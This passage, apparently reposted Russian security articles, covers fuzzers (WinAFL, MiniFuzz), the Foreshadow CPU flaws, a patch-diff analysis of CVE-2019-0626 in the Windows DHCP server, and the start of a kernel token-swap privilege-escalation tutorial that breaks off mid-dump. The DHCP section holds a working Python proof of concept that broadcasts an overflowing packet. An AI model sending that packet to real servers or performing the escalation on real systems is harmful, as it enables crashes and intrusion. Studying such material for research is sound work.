скриптинг, переполнение буферов, SQL-инъекции и многое другое. С другой
стороны, есть утилита
SPIKE, которая может
протестировать незнакомые протоколы на многие уязвимости.
Браузерные движки
Да, даже для поиска дыр в браузерах есть специальные фаззеры. На сегодняшний
день современные браузеры очень сложны и содержат множество движков: они
обрабатывают различные версии документов, протоколов, CSS, COM, DOM и многое
другое. Так что участники различных bug bounty ищут дыры не только голыми
руками.
Оперативная память
В эту категорию входят достаточно узкоспециализированные фаззеры, используемые
для модификации данных программ в оперативной памяти. Бывают полезными при
тестировании каких-либо динамических антидампов и утилит со встроенной
защитой.
Проблема покрытия
Разумеется, и у фаззеров существуют проблемы: дело в том, что из-за сложности
некоторых программ фаззерам бывает трудно «дотянуться» до определенных частей
кода. Это связано с глубиной вложения или какими-либо другими специфичными
условиями исполнения. Разработчики фаззеров пытаются бороться с недостаточным
покрытием кода различными путями.
Тут на помощь приходит обратная связь, когда фаззер получает информацию о поведении программы благодаря сигнализирующим инструкциям в исполняемом файле. Это называется инструментацией и позволяет фаззеру корректировать вход на следующем раунде, чтобы попытаться улучшить покрытие.
Но и здесь нас подстерегают различные проблемы: например, когда софт доступен только в скомпилированном виде и нет исходных текстов, либо из-за динамической инструментации тестируемого приложения сильно проседает производительность, либо обработка трассы занимает достаточно много процессорного времени.
Кроме всего этого, существует простая проблема совместимости с различными версиями операционных систем, как Windows, так и *nix. Чем сложнее фаззер и чем пристальней он смотрит на поток выполнения приложения, тем крепче он привязывается к особенностям ОС.
Как видишь, фаззеров очень много, и под каждую задачу можно найти специально разработанный инструмент поиска уязвимостей. Многие фаззеры написаны под *nix- подобные ОС, но есть и такие, которые работают с Windows. Давай поближе рассмотрим парочку разнотипных фаззеров: WinAFL и MiniFuzz.
WinAFL
WinAFL — это форк популярного
фаззера AFL (American fuzzy lop),
портированный под Windows корпорацией Google. Он использует инструментацию
тестовых файлов, как статическую, когда есть исходные коды приложения, так и
динамическую, когда инструментирование происходит «на лету». В этом помогает
библиотека для анализа бинарников
DynamoRIO.
Фаззер WinAFL
Как только что-то пошло не так в исследуемом приложении (например, оно обрушилось), данные, которые к этому привели, копируются в отдельную папку для дальнейшего исследования. У фаззера есть множество опций запуска, давай рассмотрим самые важные.
Если с динамической инструментацией все понятно, то со статической могут возникнуть проблемы: например, программа instrument.exe, которая призвана инструментировать файлы в Windows, пока еще не понимает последние версии Visual Studio SDK и не работает с программами, собранными в Visual Studio 2019.
Когда все готово и файл инструментирован, достаточно выполнить команду
Code:Copy to clipboard
afl-fuzz.exe -Y -i input -o output -- test.exe
Эта команда запустит процесс поиска уязвимостей для тестовой программы со статической инструментацией.
MiniFuzz
Теперь давай рассмотрим еще один фаззер под названием
MiniFuzz. Он разработан в
компании Microsoft и достаточно дружелюбен по отношению к пользователю (да,
тут даже есть графический интерфейс!). Также доступна интеграция с Visual
Studio.
Фаззер MiniFuzz
Разработчики рекомендуют делать не менее 100 000 файлов на каждый файловый формат. При этом каждый поданный на вход файл — это отдельная итерация фаззинга. Следовательно, требуется набор эталонных файлов. Например, если ты решил протестировать поведение приложения в ходе обработки архивов *.zip , в папку шаблонов тебе необходимо будет сложить около ста таких файлов- образцов. Можно положить и больше, фаззер будет только рад! А вот если положить меньше, то эффективность процесса заметно упадет.
Далее фаззер случайным образом выбирает файл из эталонного набора и изменяет его, посылая в подопытное приложение. Если при этом возникает обрушение, файл записывается в папку crashes, где его потом можно будет подробно изучить и выяснить, что именно вызвало сбой.
Все настройки фаззера хранятся в файле minifuzz.cfg в формате XML. Немного пробежимся по самым интересным опциям (очевидные я опустил для краткости).
Практика
Для того чтобы понять на деле, как именно происходит поиск ошибок при помощи
WinAFL, мы напишем небольшую тестовую программу, внутри которой будет функция
с доступом по нулевому указателю. Согласись, достаточно распространенный
пример ошибки, от которой не застрахован никто в этом мире. Код, который
должен упасть (и не отжаться), будет выглядеть примерно так:
Code:Copy to clipboard
int crash() {
int *x = NULL;
int y = *x;
printf("%s", y);
return 0;
}
Как именно ее вызывать — тут уже на усмотрение программиста. Я буду передавать в качестве аргумента командной строки «волшебный» параметр, который вызывает функцию по условию
Code:Copy to clipboard
if (argc == 2 && !strcmp(argv[1], "key"))
Кроме того, для ускорения фаззинга можно «обернуть» тестируемую функцию в цикл:
Code:Copy to clipboard
while (__afl_persistent_loop()) {
...
}
Управляющая функция цикла находится в файле winafl-master\afl- staticinstr.h , который необходимо будет подключить к проекту. Кроме того, это добавит в проект диагностические сообщения.
Подготовка файла к дальнейшей инструментации
Как видишь, файл еще не готов к фаззингу и WinAFL заботливо напоминает нам, что мы забыли его инструментировать. Давай исправим это командой
Code:Copy to clipboard
$ instrument.exe --mode=afl --input-image=tst.exe --output-image=instr_crash.exe
Инструментация
Кроме того, в свойствах компоновщика необходимо добавить два параметра: /PROFILE — включит поддержку профилирования и /SAFESEH — безопасная обработка исключений. После этого все готово и можно запускать фаззер:
Code:Copy to clipboard
$ afl-fuzz.exe -Y -i in -o out -t 500+ -- -fuzz_iterations 10000 -- instr_crash.exe
Здесь мы указываем то, что файл статически инструментирован, указываем каталог in, где расположены тест-кейсы, и каталог out, где будут результаты. Также дополнительно сообщаем время ожидания обработки каждой итерации (в миллисекундах) и количество итераций тестирования. Процесс работы фаззера выглядит следующим образом.
[![Работа фаззера WinAFL](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp-
content%2Fuploads%2F2019%2F05%2F221487%2F5.jpg%2326176144&hash=c3ff2927da10503a4913e9cf76df9939)](https://xakep.ru/wp-
content/uploads/2019/05/221487/5.jpg#26176144)
Работа фаззера WinAFL
Тут стоит напомнить, что фаззинг в реальных условиях может длиться неделями. К счастью, у нас все пойдет быстрее. После того как мы обнаружим падение приложения, в каталоге outможно будет найти файлы с названиями вида
Code:Copy to clipboard
id:000003,src:000001,op:flip1,pos:1
Внутри содержится диагностическая информация с пояснениями, примерно такими:
Code:Copy to clipboard
Program received signal SIGSEGV, Segmentation fault.
0x0802f36a in crash at tst.c:32
32 int y = *x;
#0 0x0802f36a in crash at tst.c:32
crash dump #:1
Как видишь, лог подробный, в нем указана и функция crash, и тип ошибки SIGSEGV. Это значит, что «волшебный» параметр был сгенерирован фаззером верно и все сработало.
Заключение
В этой статье я постарался рассказать, что такое фаззеры, какими они бывают и
как работают. Как и любая другая статья в журнале, это всего лишь вектор для
дальнейшего развития и самостоятельного изучения (а вовсе не всеобъемлющее
руководство). Поэтому, вооружившись уже полученными знаниями, ты всегда
сможешь их приумножить, проводя собственные эксперименты.
Автор Nik Zerof (c)
взято с xakep.ru
Раскрыты подробности о трех новых уязвимостях класса Spectre, угрожающих процессорам Intel. Уязвимости получили названия L1TF (L1 Terminal Fault) или Foreshadow. Эти проблемы позволяют атаковать кеш L1 и извлечь данные. Данный вектор атак тоже использует особенности архитектур современных процессоров, которые прибегают к внеочередным (out-of- order) и одновременно упреждающим (или спекулятивным — speculative) механизмам исполнения инструкций.
Проблемы были обнаружены еще в январе 2018 года, двумя независимыми командами ИБ-специалистов, сразу вскоре после публикации информации об оригинальных проблемах Spectre и Meltdown.
Как уже было сказано выше, Foreshadow это сразу три проблемы: найденная первой CVE-2018-3615, затрагивающая Intel Software Guard Extensions (SGX); CVE-2018-3620, затрагивающая операционные системы и System Management Mode (SMM); а также CVE-2018-3646, представляющая опасность для ПО для виртуализации и Virtual Machine Monitors (VMM).
Список уязвимых процессоров можно найти [здесь](https://www.intel.com/content/www/us/en/security- center/advisory/intel-sa-00161.html). На этот раз проблемам подвержены исключительно процессоры Intel.
«Каждая из вариаций L1TF потенциально может привести к не авторизованному раскрытию данных, находящихся в кэше L1 — небольшом пуле памяти, в котором ядра процессоров хранят информацию о том, что ядро, вероятнее всего, будет делать дальше», — [пишут](https://newsroom.intel.com/editorials/protecting- our-customers-through-lifecycle-security-threats/) представители Intel.
Click to expand...
Если раньше читалось, что анклавы SGX надежно защищены от спекулятивных атак, то теперь Foreshadow наглядно демонстрирует, что это не так. Хуже того, обойдя защиту SGX можно извлечь не только различную информацию, но и приватный ключ аттестации, а это способно подорвать доверие во всей SGX-экосистеме.
Вариации Foreshadow также опасны для System Management Mode (SMM), ядра ОС, гипервизора. И что совсем скверно, данные атаки могут использоваться для извлечения данных с разных виртуальных машин, размещающихся в одном стороннем облаке, что ставит под угрозу облачную инфраструктуру в целом. Эксперты предупреждают, что в некоторых случаях проблемы Foreshadow могут использоваться даже для обхода предыдущих патчей, выпущенных для борьбы со спекулятивными атаками, в том числе Meltdown и Spectre.
Ниже можно увидеть видеоролики, выпущенные исследователями, компанией Intel и экспертами Red Hat, демонстрирующие атаки L1TF и Foreshadow и объясняющие принципы их работы.
А этот ролик демонстрирует извлечение информации из анклава Intel SGX.
Согласно официальному заявлению Intel, микрокоды и софтверные патчи, предназначенные для защиты от CVE-2018-3615, CVE-2018-3620 и CVE-2018-3646, уже готовы и, в отличие от некоторых прошлых исправлений, [не ударят](https://www.intel.com/content/www/us/en/architecture-and- technology/l1tf.html) по производительности машин.
Сообщения, посвященные новым проблемам и патчам для них, уже обнародовали [Microsoft](https://blogs.technet.microsoft.com/srd/2018/08/10/analysis-and- mitigation-of-l1-terminal-fault-l1tf/), Oracle, VMware, Xen Project, SUSE и Red Hat. Также исправления вышли для продуктов [Cisco](https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco- sa-20180814-cpusidechannel), ядра Linux и [продукции Microsoft](https://portal.msrc.microsoft.com/en-US/security- guidance/advisory/ADV180018), в ходе августовского «вторника обновлений». Не оставили уязвимости без внимания и крупные облачные провайдеры: руководства безопасности были опубликованы разработчиками Amazon Web Services, [Google Cloud](https://cloud.google.com/blog/products/gcp/protecting-against- the-new-l1tf-speculative-vulnerabilities) и [Microsoft Azure](https://docs.microsoft.com/en-us/azure/virtual- machines/windows/mitigate-se).
В этой заметке мы детально рассмотрим уязвимость CVE-2019-0626. В том числе, я покажу, как была найдена эта брешь.
В этой заметке мы детально рассмотрим уязвимость CVE-2019-0626. В том числе, я
покажу, как была найдена эта брешь. Поскольку проблема существует только в
Windows Server, будет использоваться Server 2016 (соответствующий патч -
KB4487026).
Сравнение бинарных файлов
При помощи утилиты BinDiff я сравнил две версии библиотеки dhcpssvc.dll.
Измененными оказались 4 функции (схожесть <1.0).
Рисунок 1: Результаты сравнения библиотеки dhcpssvc.dll до и после установки
патча
Было решено начать изучение с функции UncodeOption. Имя метода намекало на
декодер, часто являющийся рассадником ошибок.
После двойного клика на целевой функции появляются две схемы. Первоначальная
функция находится слева, обновленная – справа. Каждая схема разделена на
логические блоки ассемблерного кода (схоже с функцией «graph view» в IDA).
Рисунок 2: Поблочное сравнение двух функций
Из рисунка выше мы видим изменения в достаточно большом количестве блоков.
Наибольший интерес для нас представляют два цикла, содержащие новые участки
кода. Дополнительные блоки могут быть условиями if с новыми проверками на
безопасность. В общем, хорошая стартовая точка для начала исследований.
Мы могли бы и дальше продолжать анализ в BinDiff, однако интерфейс этого
приложения мне кажется слишком громоздким. На мой взгляд, вся необходимая
информация уже получена, и пришло время переключиться в IDA.
Анализ кода
В полной версии IDA доступен декомпилятор, и не нужно ковыряться в
ассемблерном коде. Большинство дыр будут видны на высоком уровне, однако в
очень редких случаях может понадобиться сравнение ассемблерного кода.
Рисунок 3: Пример декомпилированного кода
Из-за специфики декомпилятора в IDA в коде могут присутствовать дубликаты
переменных. Например, переменная v8 является копией переменной a2, однако ни
одно значение никогда не модифицируется. Код можно почистить, если кликнуть
правой кнопкой мыши на переменной v8 и связать с переменной a2. В итоге все
экземпляры a8 будут заменены на a2, и код будет восприниматься намного легче.
На рисунке ниже показано сравнение кода после очистки.
Рисунок 4: Сравнение функций после оптимизации кода
Второй цикл в левой части, выделенный в желтой рамке, стал «do while» вместо
«for» и по структуре совпадает с первым циклом (изменение формата цикла
свидетельствует о множестве желтых блоках в BinDiff). Обращаем особое внимание
на новое условие (проверку), выделенное в красную рамку. Код в синей рамке
упрощен, и часть перенесена внутрь цикла.
Следующий шаг – выяснение логики работы функции «UncodeOption». Кликаем правой
кнопкой мыши на функции, выбираем «jump to xref…» и получаем список ссылок.
Рисунок 5: Список ссылок на функцию UncodeOption
Хм… Все вызовы UncodeOption находятся в функции ParseVendorSpecific или
ParseVendorSpecificContent. Сей факт натолкнул меня на мысль погуглить по
запросу «DHCP Vendor Specific».
Рисунок 6: Перечень дополнительных запросов по фразе «DHCP Vendor Specific»
После получения списка дополнительных запросов кое-что прояснилось.
Оказывается, у протокола DHCP есть «опции, характерные для поставщика» (Vendor
Specific Options). Если UncodeOption вызывается внутри ParseVendorSpecific,
значит, имеет место быть декодирование специфических опций, связанных с
поставщиком. Сразу же возникает вопрос, о каких опциях идет речь?
Специфические опции поставщика
Первым в списке результатов по запросу «DHCP Vendor Specific Options»
оказалась статья [[1](https://www.ingmarverheij.com/microsoft-vendor-specific-
dhcp-options-explained-and-demystified/)] со всей нужной мне информацией. В
том посте рассматривается формат пакета специфических опций поставщика.
Рисунок 7: Абзац из статьи об опции, связанной с информации о поставщике
Формат довольно просто: первый байт – код опции, следующий байт – длина. Далее
идет значение опции. Теперь нам нужно отослать тестовый пакет.
Я нашел клиента для тестирования DHCP
[2] и запустил
простейшую команду:
dhcptest.exe –query –option “Vendor Specific Information”[str]=”hello world”
Эта команда устанавливает значение «hello world» в специфическую опцию
поставщика. Теперь мы можем проверить, запускается ли функция UncodeOption.
Динамический анализ
Вначале я поставил точку останова на функции UncodeOption и отправил DHCP-
запрос в надежде на лучшее.
Рисунок 8: Участок памяти в IDA PRO
Прекрасно! Точка останова сработала, и легко понять логику передаваемых
параметров.
Возвращаемся к декомпилированному коду и добавляем более понятные имена. После
изучения формата специфических опций поставщика стали понятны типы некоторых
переменных.
Рисунок 9: Декомпилированный код с более понятными именами
Добавление более понятных имен и новые знания о специфических опциях
поставщика заметно облегчает понимание кода. Разделим код на несколько частей.
У нас есть два цикла (первый начинается со строки 25, второй – со строки 44).
Первый цикл
1. Принимает код опции (первый байт буфера опции). Проверяется, соответствует
ли код опции значению в регистре R8 (0x2B).
2. Принимает размер опции (второй байт буфера опции), затем добавляемый к
переменной, названной мной required_size.
3. Увеличивает buffer_ptr_1 для указания на конец буфера опции.
4. Прерывается, если buffer_ptr_1 больше, чем конец буфера (buffer_end).
5. Заканчивается, если buffer_ptr_1 + option size + 2 больше, чем buffer_end.
По сути, цикл будет принимать длину значения опции (в нашем случае значение
равно «hello world»). Если будет отправлено несколько опций одновременно, цикл
вычислит общий размер всех значений. Переменная required_size используется для
последующего выделения пространства кучи.
Второй цикл
1. Принимает код опции (первый байт буфера опции). Проверяется, соответствует
ли код опции значению в регистре R8 (0x2B).
2. Принимает размер опции (второй байт буфера опции).
3. Помещает значение опции (в нашем случае – «hello world») в пространство
кучи посредством копирования байтов из <option_size>.
4. Увеличивает buffer_ptr_2 для указания на конец буфера опции.
5. Заканчивается, если buffer_ptr_2 больше, чем buffer_end.
Предназначение кода
В функции реализован типичный парсер массива. Первый цикл вычисляет размер
буфера, требуемого для парсинга. Второй цикл парсит массив в новый выделенный
буфер.
Уязвимость
После сопоставления двух циклов я заметил следующее:
Рисунок 10: Сравнительный анализ двух циклов (первый цикл слева, второй –
справа)
Оба цикла завершают свою работу, если указатель буфера достигает конца массива
(см. условия, выделенные в зеленую рамку). В цикле 1 есть дополнительная
проверка, выделенная в красной рамке. Цикл 1 также завершает свою работу, если
следующий элемент массива некорректный (то есть при добавлении размера
указатель выйдет за пределы массива). Различия в логиках означает следующее:
цикл 1 будет проверять валидность следующего элемента в массиве перед
обработкой, а цикл 2 будет копировать элемент и завершать работу, если
buffer_ptr_2 больше, чем buffer_end.
Поскольку в цикле 1 происходит вычисления размера, буфер будет выделяться
только для корректных элементов массива. Цикл 2 будет копировать все валидные
элементы и один некорректный (перед выходом).
Что же произойдет, если мы отошлем следующий массив?
Рисунок 11: Вредоносный массив с опциями
Вначале цикл, вычисляющий размер, успешно распарсит размер первой опции
(0x0B). Затем проверяется размер следующей опции. Поскольку после размера
опции нет байтов 0xFF, параметр будет рассматриваться как некорректный,
считаться недействительным и отбрасываться. В результате будет выделен размер
0x0B (11 байт).
В цикле 2 в первой итерации будет копироваться значение первой опции («hello
world»). Во второй итерации размер опции не проверяется. Соответственно, в
буфер будет добавлено 255 байт (0xFF). В итоге копируется 266 байт в кучу
размером 11 байт с переполнением равным 255 байт.
Последний элемент будет считаться некорректным, если расстояние между длиной
второй опции и концом буфера равно менее 255 байт (достигается посредством
помещения вредоносного массива в конец DHCP-пакета).
Важное замечание: мы можем поместить любое количество менее 255 байт после
длины последней опции. Мы можем переполнить кучу 254 байтами произвольных
данных или менее 254 байтами содержимым, находящимся после пакета. По сути,
возможно чтение и запись вне границ.
Реализация концепции
Для проверки уязвимости мне нужно было сформировать вредоносный DHCP-пакет.
Вначале я отослал легитимный DHCP-пакет при помощи dhcp-test и сделал перехват
в WireShark.
Рисунок 12: DHCP-пакет, отображаемый в WireShark
Кажется, буфер специфических опций поставщика уже находится в конце пакета. Я
просто извлек шестнадцатеричное содержимое и написал простейший Python-скрипт.
Совет: вы можете щелкнуть правой кнопкой мыши на колонке «Bootstrap Protocol»,
выбрать «Copy» и затем «..As Escaped String».
Code:Copy to clipboard
from socket import *
import struct
import os
dhcp_request = (
"\x01\x01\x06\x00\xd5\xa6\xa8\x0c\x00\x00\x80\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x63\x82\x53\x63" \
"\x35\x01\x01\x2b\x0b\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\xff"
)
dhcp_request = dhcp_request[:-1] #remove end byte (0xFF)
dhcp_request += struct.pack('=B', 0x2B) #vendor specific option code
dhcp_request += struct.pack('=B', 0xFF) #vendor specific option size
dhcp_request += "A"*254 #254 bytes of As
dhcp_request += struct.pack('=B', 0xFF) #packet end byte
s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP) #DHCP is UDP
s.bind(('0.0.0.0', 0))
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1) #put socket in broadcast mode
s.sendto(dhcp_request, ('255.255.255.255', 67)) #broadcast DHCP packet on port 67
Затем я подцепил отладчик к процессу svchost, содержащим библиотеку
dhcpssvc.dll, и установил несколько точек останова. Первая – на HeapAlloc,
остальные – после цикла копирования. Теперь отсылаем вредоносный DHCP-пакет.
Рисунок 13: Точка останова на HeapAlloc
Во время срабатывания точки останова выделяемый размер равен 0x0B (достаточно
только для размещения «hello world»). Посмотрим, что произойдет, если
продолжить выполнение.
Рисунок 14: Содержимое кучи после продолжения выполнения
Вау! Парсер скопировал «hello world» и 254 байта символов «A» в кучу размером
11 байт. Определенно, мы имеем дело с переполнением, но краха не произойдет до
тех пор, пока не перезапишется что-нибудь критическое.
Особенности эксплуатации уязвимости
Переполнение кучи часто используется для реализации удаленного выполнения кода
(RCE). Однако вначале нужно преодолеть препятствия. В течение многих лет
компания Microsoft внедряет разного рода защиты для предотвращения
эксплуатации переполнения кучи. Я освещу самые важные методы защиты, а про
остальное можете почитать в статьях на TechNet
[[3](https://blogs.technet.microsoft.com/srd/2009/08/04/preventing-the-
exploitation-of-user-mode-heap-corruption-
vulnerabilities/)][[4](https://blogs.technet.microsoft.com/srd/2013/10/29/software-
defense-mitigating-heap-corruption-vulnerabilities/)].
WindowsVistaи последующие версии
В большинстве сценариев, основанных на переполнении кучи, используется
подделка метаданных кучи для получения примитивов (возможностей) произвольной
записи или выполнения. К сожалению, в Windows Vista добавлено кодирование и
верификация метаданных кучи. Поля метаданных стали обрабатываться XOR с
ключом, осложнив модификацию.
Без подделки метаданных кучи атакующий должен фокусироваться на перезаписи
данных самой кучи. Все еще возможна перезапись объектов, хранящихся в куче,
как, например, экземпляры классов. В объектах могут быть те же самые
примитивы, как и в случае с подделкой метаданных.
Windows8 и последующие версии
Выделения размером менее 16,368 попадают в кучу с низкой фрагментацией (Low
Fragmentation Heap; LFH). В Windows 8 добавлена рандомизация размещения в LFH,
и предсказуемость размещения стала намного менее предсказуемой. Если мы не
можем контролировать местонахождение размещаемого объекта, перезапись
превращается в рулетку. Однако надежды все еще остаются.
Если злоумышленник управляет размещением объекта, можно разместить сотни копий
и повысить вероятность успешной перезаписи. Естественно, вначале нужно найти
подходящий объект, доступный для эксплуатации.
Заключение
Я не смог уделить много времени на исследование этой уязвимости и еще планирую
реализовать удаленное выполнение в более новых системах. На данный момент я
обнаружил пару TCP-интерфейсов, пригодных для улучшения контроля кучи. Если не
найдется что-то более интересное, вернусь к этой теме в будущем.
Ссылки
Автор: MalwareTech
Существует несколько техник повышения прав. Одна из них – это подмена специального токена пользовательского процесса, указывающего на уровень прав приложения.
Учетная запись пользователя и права доступа, связанные с запущенным процессом Windows, определяются объектом ядра, называемым токеном. Структуры данных ядра, которые отслеживают различные специфичные для процесса данные, содержат указатель на токен процесса. Когда процесс пытается выполнить различные действия, такие как открытие файла, права и привилегии учетной записи в токене сравниваются с требуемыми привилегиями, чтобы определить, следует ли предоставить доступ или запретить.
Поскольку указатель токена - это просто данные в памяти ядра, для кода, выполняющегося в режиме ядра, тривиально изменить его так, чтобы он указывал на другой токен и, следовательно, предоставлял процессу другой набор привилегий.
Эта статья предоставит объяснение эксплойта для повышения уровня привилегий до уровня администратора с помощью windbg.
Подготовка
Отладчик (Debugger) – машина, на которой запускаем отладчик и с которой
атакуем (Windows 10 x64 10.0.17763 Сборка 17763)
Отлаживаемый (Debuggee) – виртуальный хост на который направлена атака
(Windows 7 x64 6.1.7601 Service Pack 1 Сборка 7601)
1. Устанавливаем Virtualbox и Дополнения гостевой ОС.
2. Монтируем образ Windows 7 и установливаем систему. После инсталяции
Windows 7 на виртуальную машину следует создать учетную запись с
пользовательскими привилегиями и присвоить пароль Администратору.
Далее требуется осуществить настройку программного обеспечения для отладки, в
качестве которого будет выступать windbg.
1. Скачиваем и устанавливаем Windows 10 SDK;
[Windows 10 SDK — разработка приложений для
Windows](https://developer.microsoft.com/ru-
ru/windows/downloads/windows-10-sdk)
При установке выбираем лишь Debugger tools в раскрывающихся списках.
2. Запускаем WinDBG с правами администратора
Далее нажимаем CTRL+S (File->Symbole file path) и вставляем
Code:Copy to clipboard
srv*c:\symbols*http://msdl.microsoft.com/download/symbols
Нажимаем CTRL+K (либо открываем File->Kernel Debug->COM)
Вводим следующие параметры:
Code:Copy to clipboard
Baud Rate: 115200
Pipe: check (отмечено)
Reconnect: Check (отмечено)
Resets: 0
Port: //./pipe/debug
И нажимаем ОК. Откроется новое окно с надписью:
**Waiting for pipe //./pipe/debug
Waiting to reconnect...
Настраиваем VirtualBox**
ПКМ на предустановленной виртуальной машине -> Настроить… -> Общие -> СОМ-
порты
НЕ СТАВИТЬ флажок на «Включить последовательный порт»
Code:Copy to clipboard
Номер порта: COM1
Режим порта: Хост-канал
Снять флажок с «Подключиться к существующему каналу каналу/сокету»
Путь/адрес: \\.\pipe\debug
Настройка отлаживаемой системы
Теперь запускаем нашу виртуальную машину. Заходим на правах администратора.
Вводим в консоль следующие команды. Тем самым создаем новую загрузочную
запись.
Code:Copy to clipboard
bcdedit /dbgsettings SERIAL DEBUGPORT:1 BAUDRATE:115200
bcdedit /bootdebug on
bcdedit /debug on
Проверяемbcdedit /dbgsettings
Выключаем виртуальную машину. Идем в настройки системы и ставим флажок «Включить последовательный порт»
Запускаем виртуальную машину. Логинимся под учетной записью с ограниченными правами (low).
Немного теории
Каждый Windows-процесс представлен структурой EPROCESS. Кроме многочисленных атрибутов, относящихся к процессу, в блоке EPROCESS содержатся указатели на некоторые структуры данных. Блок EPROCESS и связанные с ним структуры данных существуют в системном пространстве.
Этот подэтап включает девять операций.
Для наглядности можно выполнить в отладчике WinDBG команду dt _EPROCESS (dt отображает на экране информацию о локальных, глобальных переменных и типах данных) и получить в ответ структуру EPROCESS. Интересующая нас информация находится в ячейке памяти со смещением 0x208 (TOKEN).
Spoiler: EPROCESS
Code:Copy to clipboard
kd> dt _EPROCESS
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x160 ProcessLock : _EX_PUSH_LOCK
+0x168 CreateTime : _LARGE_INTEGER
+0x170 ExitTime : _LARGE_INTEGER
+0x178 RundownProtect : _EX_RUNDOWN_REF
+0x180 UniqueProcessId : Ptr64 Void
+0x188 ActiveProcessLinks : _LIST_ENTRY
+0x198 ProcessQuotaUsage : [2] Uint8B
+0x1a8 ProcessQuotaPeak : [2] Uint8B
+0x1b8 CommitCharge : Uint8B
+0x1c0 QuotaBlock : Ptr64 _EPROCESS_QUOTA_BLOCK
+0x1c8 CpuQuotaBlock : Ptr64 _PS_CPU_QUOTA_BLOCK
+0x1d0 PeakVirtualSize : Uint8B
+0x1d8 VirtualSize : Uint8B
+0x1e0 SessionProcessLinks : _LIST_ENTRY
+0x1f0 DebugPort : Ptr64 Void
+0x1f8 ExceptionPortData : Ptr64 Void
+0x1f8 ExceptionPortValue : Uint8B
+0x1f8 ExceptionPortState : Pos 0, 3 Bits
+0x200 ObjectTable : Ptr64 _HANDLE_TABLE
+0x208 Token : _EX_FAST_REF
+0x210 WorkingSetPage : Uint8B
+0x218 AddressCreationLock : _EX_PUSH_LOCK
+0x220 RotateInProgress : Ptr64 _ETHREAD
+0x228 ForkInProgress : Ptr64 _ETHREAD
+0x230 HardwareTrigger : Uint8B
+0x238 PhysicalVadRoot : Ptr64 _MM_AVL_TABLE
+0x240 CloneRoot : Ptr64 Void
+0x248 NumberOfPrivatePages : Uint8B
+0x250 NumberOfLockedPages : Uint8B
+0x258 Win32Process : Ptr64 Void
+0x260 Job : Ptr64 _EJOB
+0x268 SectionObject : Ptr64 Void
+0x270 SectionBaseAddress : Ptr64 Void
+0x278 Cookie : Uint4B
+0x27c UmsScheduledThreads : Uint4B
+0x280 WorkingSetWatch : Ptr64 _PAGEFAULT_HISTORY
+0x288 Win32WindowStation : Ptr64 Void
+0x290 InheritedFromUniqueProcessId : Ptr64 Void
+0x298 LdtInformation : Ptr64 Void
+0x2a0 Spare : Ptr64 Void
+0x2a8 ConsoleHostProcess : Uint8B
+0x2b0 DeviceMap : Ptr64 Void
+0x2b8 EtwDataSource : Ptr64 Void
+0x2c0 FreeTebHint : Ptr64 Void
+0x2c8 FreeUmsTebHint : Ptr64 Void
+0x2d0 PageDirectoryPte : _HARDWARE_PTE
+0x2d0 Filler : Uint8B
+0x2d8 Session : Ptr64 Void
+0x2e0 ImageFileName : [15] UChar
+0x2ef PriorityClass : UChar
+0x2f0 JobLinks : _LIST_ENTRY
+0x300 LockedPagesList : Ptr64 Void
+0x308 ThreadListHead : _LIST_ENTRY
+0x318 SecurityPort : Ptr64 Void
+0x320 Wow64Process : Ptr64 Void
+0x328 ActiveThreads : Uint4B
+0x32c ImagePathHash : Uint4B
+0x330 DefaultHardErrorProcessing : Uint4B
+0x334 LastThreadExitStatus : Int4B
+0x338 Peb : Ptr64 _PEB
+0x340 PrefetchTrace : _EX_FAST_REF
+0x348 ReadOperationCount : _LARGE_INTEGER
+0x350 WriteOperationCount : _LARGE_INTEGER
+0x358 OtherOperationCount : _LARGE_INTEGER
+0x360 ReadTransferCount : _LARGE_INTEGER
+0x368 WriteTransferCount : _LARGE_INTEGER
+0x370 OtherTransferCount : _LARGE_INTEGER
+0x378 CommitChargeLimit : Uint8B
+0x380 CommitChargePeak : Uint8B
+0x388 AweInfo : Ptr64 Void
+0x390 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
+0x398 Vm : _MMSUPPORT
+0x420 MmProcessLinks : _LIST_ENTRY
+0x430 HighestUserAddress : Ptr64 Void
+0x438 ModifiedPageCount : Uint4B
+0x43c Flags2 : Uint4B
+0x43c JobNotReallyActive : Pos 0, 1 Bit
+0x43c AccountingFolded : Pos 1, 1 Bit
+0x43c NewProcessReported : Pos 2, 1 Bit
+0x43c ExitProcessReported : Pos 3, 1 Bit
+0x43c ReportCommitChanges : Pos 4, 1 Bit
+0x43c LastReportMemory : Pos 5, 1 Bit
+0x43c ReportPhysicalPageChanges : Pos 6, 1 Bit
+0x43c HandleTableRundown : Pos 7, 1 Bit
+0x43c NeedsHandleRundown : Pos 8, 1 Bit
+0x43c RefTraceEnabled : Pos 9, 1 Bit
+0x43c NumaAware : Pos 10, 1 Bit
+0x43c ProtectedProcess : Pos 11, 1 Bit
